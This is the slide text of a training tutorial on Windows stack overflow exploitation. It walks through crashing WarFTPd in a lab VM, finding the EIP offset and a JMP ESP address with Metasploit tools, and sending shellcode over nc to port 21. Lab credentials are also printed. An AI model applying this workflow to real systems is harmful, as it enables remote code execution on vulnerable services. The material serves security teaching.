Strategic Security, Inc. © Exploit Development For Mere Mortals Part 4: Windows Stack Overflows Presented By: Joe McCray
Strategic Security, Inc. © Windows Stack Overflow Walk-Through
Strategic Security, Inc. © Let's Attack Windows 1.Power off the asterisk VM. 2.Extract and boot the XPIE8 VM. (Boot First option) (Administrator:strategicsec) 3. Start WarFTPd 4. Start WinDBG 5. Press F6 6. attach to war-ftpd.exe Open warftpd1.py in Notepad++. From the XP Host command print we will trigger a crash: > python warftpd1.py | nc victim_ip 21
Strategic Security, Inc. © Let's Attack Windows At WINDBG prompt “r” to show registers or “alt+4” EIP should be ESP should be full of 41s In WinDBG command prompt type: dd eip dd esp
Strategic Security, Inc. © Let's Attack Windows Start WarFTPd Start WinDBG Press F6 attach to war-ftpd.exe at the WINDBG prompt "F5" to start the debugger Debugger is running Open warftpd2.py in Notepad++ From your XP HOST command prompt - trigger the crash: python warftpd2.py | nc victim_ip_addr 21
Strategic Security, Inc. © Let's Attack Windows Eip: esp: affd58 Now we need SSH into the StrategicSec-Ubuntu host (strategicsec:strategicsec) $ cd /home/strategicsec/toolz/metasploit/tools $ ruby pattern_offset.rb $ ruby pattern_offset.rb $ cd /home/strategicsec/toolz/metasploit $./msfpescan –j ESP DLLs/xpsp3/shell32.dll
Strategic Security, Inc. © Let's Attack Windows Open warftpd3.py with Notepad++ Fill in the appropriate values Distance to EIP Address of JMP ESP Open a command prompt on our host Python warftpd3.py | nc victim_ip 21 dd eip & dd esp
Strategic Security, Inc. © Let's Attack Windows Open warftpd4.py in Notepad++. Copy the shell code into warftpd4.py ‘shellcode’ variable. Run warftpd4.py > python warftpd4.py | nc victim_IP 21
Strategic Security, Inc. © Contact Me.... Toll Free: Twitter: LinkedIn: